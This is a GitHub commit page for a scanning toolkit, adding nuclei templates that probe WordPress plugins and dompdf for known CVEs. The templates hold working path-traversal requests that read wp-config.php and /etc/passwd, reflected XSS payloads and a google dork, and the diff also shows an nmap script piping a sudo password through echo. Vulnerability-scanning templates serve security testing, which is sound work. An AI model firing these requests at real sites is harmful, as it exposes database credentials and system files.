Skip to content

Commit 820068f

Browse files
hktalenthktalent
committed
up PoCs 2022-08-25
1 parent 2ee0737 commit 820068f

File tree

59 files changed

+1924
-100
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

59 files changed

+1924
-100
lines changed

‎config/doNmapScan.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,9 @@ function doMasScan {
55
# -F --top-ports=65535
66
# -p 80,443
77
# -sV 得到的指纹信息更准，但是更慢
8-
echo $PPSSWWDD|sudo -S nmap -F -sV --top-ports=65535 -n --unique --resolve-all -Pn -sU -sS --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate ${XRate} -T4 -iL $1 -oX $2
8+
echo $PPSSWWDD|sudo -S nmap -F --top-ports=65535 -n --unique --resolve-all -Pn -sU -sS --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate ${XRate} -T4 -iL $1 -oX $2
99
else
10-
echo $PPSSWWDD|sudo -S nmap -F -sV --top-ports=65535 -n --unique --resolve-all -Pn -sU -sS --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate ${XRate} -T4 $1 -oX $2
10+
echo $PPSSWWDD|sudo -S nmap -F --top-ports=65535 -n --unique --resolve-all -Pn -sU -sS --min-hostgroup 64 --max-retries 0 --host-timeout 10m --script-timeout 3m --version-intensity 9 --min-rate ${XRate} -T4 $1 -oX $2
1111
fi
1212
}
1313
doMasScan $1 $2

‎config/nuclei-templates/51pwn/pay001.yaml

Lines changed: 510 additions & 0 deletions
Large diffs are not rendered by default.

‎config/nuclei-templates/cves/2008/CVE-2008-1059.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2008-1059
2+
3+
info:
4+
name: WordPress Sniplets 1.1.2 - Local File Inclusion
5+
author: dhiyaneshDK
6+
severity: high
7+
description: |
8+
PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.
9+
reference:
10+
- https://www.exploit-db.com/exploits/5194
11+
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
12+
- https://nvd.nist.gov/vuln/detail/CVE-2008-1059
13+
- http://secunia.com/advisories/29099
14+
classification:
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16+
cvss-score: 7.5
17+
cve-id: CVE-2008-1061
18+
cwe-id: CWE-22
19+
tags: cve,cve2008,wordpress,wp-plugin,lfi,wp,sniplets
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'
25+
26+
matchers-condition: and
27+
matchers:
28+
- type: word
29+
part: body
30+
words:
31+
- "DB_NAME"
32+
- "DB_PASSWORD"
33+
condition: and
34+
35+
- type: status
36+
status:
37+
- 200
38+
39+
# Enhanced by mp on 2022/07/29

‎config/nuclei-templates/cves/2008/CVE-2008-1061.yaml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
id: CVE-2008-1061
2+
3+
info:
4+
name: Wordpress Plugin Sniplets 1.2.2 - Cross-Site Scripting
5+
author: dhiyaneshDK
6+
severity: medium
7+
description: |
8+
Multiple cross-site scripting (XSS) vulnerabilities in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) text parameter to (a) warning.php, (b) notice.php, and (c) inset.php in view/sniplets/, and possibly (d) modules/execute.php; the (2) url parameter to (e) view/admin/submenu.php; and the (3) page parameter to (f) view/admin/pager.php.
9+
reference:
10+
- https://www.exploit-db.com/exploits/5194
11+
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
12+
- https://nvd.nist.gov/vuln/detail/CVE-2008-1061
13+
- http://secunia.com/advisories/29099
14+
tags: cve,cve2008,xss,wordpress,wp-plugin,wp,sniplets
15+
16+
requests:
17+
- method: GET
18+
path:
19+
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
20+
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- "</script><script>alert(document.domain)</script>"
27+
28+
- type: word
29+
part: header
30+
words:
31+
- text/html
32+
33+
- type: status
34+
status:
35+
- 200

‎config/nuclei-templates/cves/2014/CVE-2014-2383.yaml

Lines changed: 24 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,45 @@
11
id: CVE-2014-2383
22

33
info:
4-
name: Arbitrary file read in dompdf < v0.6.0
5-
author: 0x_Akoko
4+
name: Dompdf < v0.6.0 - Local File Inclusion
5+
author: 0x_Akoko,akincibor,ritikchaddha
66
severity: high
7-
description: A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
7+
description: |
8+
A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
89
reference:
9-
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
1010
- https://www.exploit-db.com/exploits/33004
1111
- http://seclists.org/fulldisclosure/2014/Apr/258
1212
- https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
13+
- https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
14+
- https://nvd.nist.gov/vuln/detail/CVE-2014-2383
1315
classification:
1416
cve-id: CVE-2014-2383
1517
metadata:
16-
unix-payload: /dompdf.php?input_file=/etc/passwd
17-
win-payload: /dompdf.php?input_file=C:/windows/win.ini
18-
tags: cve,cve2014,dompdf,lfi
18+
verified: "true"
19+
tags: cve,cve2014,dompdf,lfi,wordpress,wp-plugin,wp
1920

2021
requests:
2122
- method: GET
2223
path:
23-
- "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
24-
- "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
25-
- "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
26-
- "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
24+
- "{{BaseURL}}/dompdf.php?input_file=php://filter/resource=/etc/passwd"
25+
- "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
26+
- "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
27+
- "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
28+
- "{{BaseURL}}/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
29+
- "{{BaseURL}}/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
30+
- "{{BaseURL}}/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
31+
- "{{BaseURL}}/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
32+
- "{{BaseURL}}/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
33+
- "{{BaseURL}}/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
34+
- "{{BaseURL}}/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
2735

2836
stop-at-first-match: true
2937
matchers-condition: and
3038
matchers:
39+
- type: regex
40+
regex:
41+
- "root:[x*]:0:0"
42+
3143
- type: word
3244
words:
3345
- "application/pdf"
@@ -39,4 +51,4 @@ requests:
3951
status:
4052
- 200
4153

42-
# Enhanced by mp on 2022/02/24
54+
# Enhanced by mp on 2022/08/06

‎config/nuclei-templates/cves/2014/CVE-2014-9119.yaml

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
id: CVE-2014-9119
2+
3+
info:
4+
name: WordPress DB Backup <=4.5 - Local File Inclusion
5+
author: dhiyaneshDK
6+
severity: high
7+
description: |
8+
WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
9+
reference:
10+
- https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
11+
- https://www.exploit-db.com/exploits/35378
12+
- https://nvd.nist.gov/vuln/detail/CVE-2014-9119
13+
- https://wpvulndb.com/vulnerabilities/7726
14+
classification:
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16+
cvss-score: 7.5
17+
cve-id: CVE-2014-9119
18+
cwe-id: CWE-22
19+
tags: cve,cve2014,wordpress,wp-plugin,lfi,wp,backup
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'
25+
26+
matchers-condition: and
27+
matchers:
28+
- type: word
29+
part: body
30+
words:
31+
- "DB_NAME"
32+
- "DB_PASSWORD"
33+
condition: and
34+
35+
- type: status
36+
status:
37+
- 200
38+
39+
# Enhanced by mp on 2022/08/05

‎config/nuclei-templates/cves/2015/CVE-2015-1000005.yaml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
id: CVE-2015-1000005
2+
3+
info:
4+
name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
5+
author: dhiyaneshDK
6+
severity: high
7+
description: |
8+
WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
9+
reference:
10+
- https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
11+
- https://nvd.nist.gov/vuln/detail/CVE-2015-1000005
12+
- http://www.vapidlabs.com/advisory.php?v=142
13+
classification:
14+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
15+
cvss-score: 7.5
16+
cve-id: CVE-2015-1000005
17+
cwe-id: CWE-22
18+
tags: cve,cve2015,wordpress,wp-plugin,lfi,wp
19+
20+
requests:
21+
- method: GET
22+
path:
23+
- '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'
24+
25+
matchers-condition: and
26+
matchers:
27+
- type: regex
28+
regex:
29+
- "root:[x*]:0:0"
30+
31+
- type: status
32+
status:
33+
- 200
34+
35+
# Enhanced by mp on 2022/04/21

‎config/nuclei-templates/cves/2015/CVE-2015-1000010.yaml

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
id: CVE-2015-1000010
2+
3+
info:
4+
name: WordPress Simple Image Manipulator < 1.0 - Local File Inclusion
5+
author: dhiyaneshDK
6+
severity: high
7+
description: |
8+
WordPress Simple Image Manipulator 1.0 is vulnerable to local file inclusion in ./simple-image-manipulator/controller/download.php because no checks are made to authenticate users or sanitize input when determining file location.
9+
reference:
10+
- https://packetstormsecurity.com/files/132962/WordPress-Simple-Image-Manipulator-1.0-File-Download.html
11+
- https://wpscan.com/vulnerability/40e84e85-7176-4552-b021-6963d0396543
12+
- https://nvd.nist.gov/vuln/detail/CVE-2015-1000010
13+
- http://www.vapidlabs.com/advisory.php?v=147
14+
classification:
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16+
cvss-score: 7.5
17+
cve-id: CVE-2015-1000010
18+
cwe-id: CWE-22
19+
tags: cve,cve2015,wordpress,wp-plugin,lfi,wp
20+
21+
requests:
22+
- method: GET
23+
path:
24+
- '{{BaseURL}}/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd'
25+
26+
matchers-condition: and
27+
matchers:
28+
- type: regex
29+
regex:
30+
- "root:[x*]:0:0"
31+
32+
- type: status
33+
status:
34+
- 200
35+
36+
# Enhanced by mp on 2022/07/29

‎config/nuclei-templates/cves/2015/CVE-2015-1579.yaml

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
id: CVE-2015-1579
2+
3+
info:
4+
name: WordPress Slider Revolution - Local File Disclosure
5+
author: pussycat0x
6+
severity: high
7+
description: |
8+
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.
9+
reference:
10+
- https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
11+
- https://cxsecurity.com/issue/WLB-2021090129
12+
- https://wpscan.com/vulnerability/4b077805-5dc0-4172-970e-cc3d67964f80
13+
- https://nvd.nist.gov/vuln/detail/CVE-2015-1579
14+
classification:
15+
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16+
cvss-score: 7.5
17+
cve-id: CVE-2015-1579
18+
cwe-id: CWE-22
19+
metadata:
20+
google-dork: inurl:/wp-content/plugins/revslider
21+
tags: cve,cve2015,wordpress,wp-plugin,lfi,revslider,wp
22+
23+
requests:
24+
- method: GET
25+
path:
26+
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
27+
- '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
28+
29+
stop-at-first-match: true
30+
matchers-condition: and
31+
matchers:
32+
- type: word
33+
part: body
34+
words:
35+
- "'DB_NAME'"
36+
- "'DB_PASSWORD'"
37+
- "'DB_USER'"
38+
condition: and
39+
40+
- type: status
41+
status:
42+
- 200
43+
44+
# Enhanced by mp on 2022/07/29

‎config/nuclei-templates/cves/2015/CVE-2015-4127.yaml

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
id: CVE-2015-4127
2+
3+
info:
4+
name: WordPress Plugin church_admin - Cross-Site Scripting (XSS)
5+
author: daffainfo
6+
severity: medium
7+
description: |
8+
Cross-site scripting (XSS) vulnerability in the church_admin plugin before 0.810 for WordPress allows remote attackers to inject arbitrary web script or HTML via the address parameter, as demonstrated by a request to index.php/2015/05/21/church_admin-registration-form/.
9+
reference:
10+
- https://www.exploit-db.com/exploits/37112
11+
- https://wpscan.com/vulnerability/2d5b3707-f58a-4154-93cb-93f7058e3408
12+
- https://nvd.nist.gov/vuln/detail/CVE-2015-4127
13+
- https://wordpress.org/plugins/church-admin/changelog/
14+
tags: cve,cve2015,wordpress,xss,wp-plugin,wp
15+
16+
requests:
17+
- method: GET
18+
path:
19+
- "{{BaseURL}}/wp-content/plugins/church-admin/includes/validate.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
20+
21+
matchers-condition: and
22+
matchers:
23+
- type: word
24+
part: body
25+
words:
26+
- "</script><script>alert(document.domain)</script>"
27+
28+
- type: word
29+
part: header
30+
words:
31+
- text/html
32+
33+
- type: status
34+
status:
35+
- 200

0 commit comments

Comments
 (0)